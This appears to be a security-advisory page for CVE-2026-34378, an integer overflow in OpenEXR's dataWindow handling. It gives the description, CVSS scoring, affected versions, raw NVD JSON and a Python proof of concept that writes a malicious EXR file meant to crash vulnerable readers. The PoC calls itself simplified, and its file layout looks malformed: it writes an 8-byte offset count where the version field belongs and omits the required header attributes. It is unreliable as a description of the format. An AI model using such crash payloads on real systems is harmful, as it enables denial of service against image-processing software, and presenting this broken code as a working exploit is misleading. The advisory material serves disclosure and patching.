Security Vulnerability Report
中文
CVE-2026-34378 CVSS 6.5 MEDIUM

CVE-2026-34378

Published: 2026-04-06 16:16:35
Last Modified: 2026-04-07 19:05:27

Description

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.4.0 to before 3.4.9, a missing bounds check on the dataWindow attribute in EXR file headers allows an attacker to trigger a signed integer overflow in generic_unpack(). By setting dataWindow.min.x to a large negative value, OpenEXRCore computes an enormous image width, which is later used in a signed integer multiplication that overflows, causing the process to terminate with SIGILL via UBSan. This vulnerability is fixed in 3.4.9.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:* - VULNERABLE
OpenEXR 3.4.0
OpenEXR 3.4.1
OpenEXR 3.4.2
OpenEXR 3.4.3
OpenEXR 3.4.4
OpenEXR 3.4.5
OpenEXR 3.4.6
OpenEXR 3.4.7
OpenEXR 3.4.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC for CVE-2026-34378: OpenEXR Signed Integer Overflow # This script creates a malicious EXR file with a large negative dataWindow.min.x # to trigger the signed integer overflow in generic_unpack(). def create_malicious_exr(filename): # EXR magic number magic = b'\x76\x2f\x31\x01' # Header attributes (simplified) # We need to set 'dataWindow' with a very negative min.x # Format: type name size data... # dataWindow is a 'box2i' attribute (4 ints: xMin, yMin, xMax, yMax) # Setting xMin to -2147483648 (INT32_MIN) attr_name_datawindow = b'dataWindow' attr_type_box2i = b'box2i' attr_size_box2i = 16 # 4 * 4 bytes # box2i data: xMin, yMin, xMax, yMax # Exploit: xMin is very negative xMin = -2147483648 yMin = 0 xMax = 100 yMax = 100 box2i_data = struct.pack('<iiii', xMin, yMin, xMax, yMax) # Header construction header = b'' header += attr_name_datawindow + b'\x00' header += attr_type_box2i + b'\x00' header += struct.pack('<i', attr_size_box2i) header += box2i_data # End of header marker header += b'\x00\x00' # Offset table (simplified, 1 entry) offset_table = struct.pack('<Q', len(header) + 8) # 8 is offset table size field with open(filename, 'wb') as f: f.write(magic) f.write(struct.pack('<Q', 1)) # Number of offsets f.write(header) f.write(offset_table) print(f"Malicious EXR file created: {filename}") if __name__ == "__main__": create_malicious_exr("poc_cve_2026_34378.exr")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34378", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:35.057", "lastModified": "2026-04-07T19:05:27.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.4.0 to before 3.4.9, a missing bounds check on the dataWindow attribute in EXR file headers allows an attacker to trigger a signed integer overflow in generic_unpack(). By setting dataWindow.min.x to a large negative value, OpenEXRCore computes an enormous image width, which is later used in a signed integer multiplication that overflows, causing the process to terminate with SIGILL via UBSan. This vulnerability is fixed in 3.4.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.9", "matchCriteriaId": "94F2D271-636B-4E9E-A04B-40E635A59117"}]}]}], "references": [{"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.9", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-v76p-4qvv-vh4g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}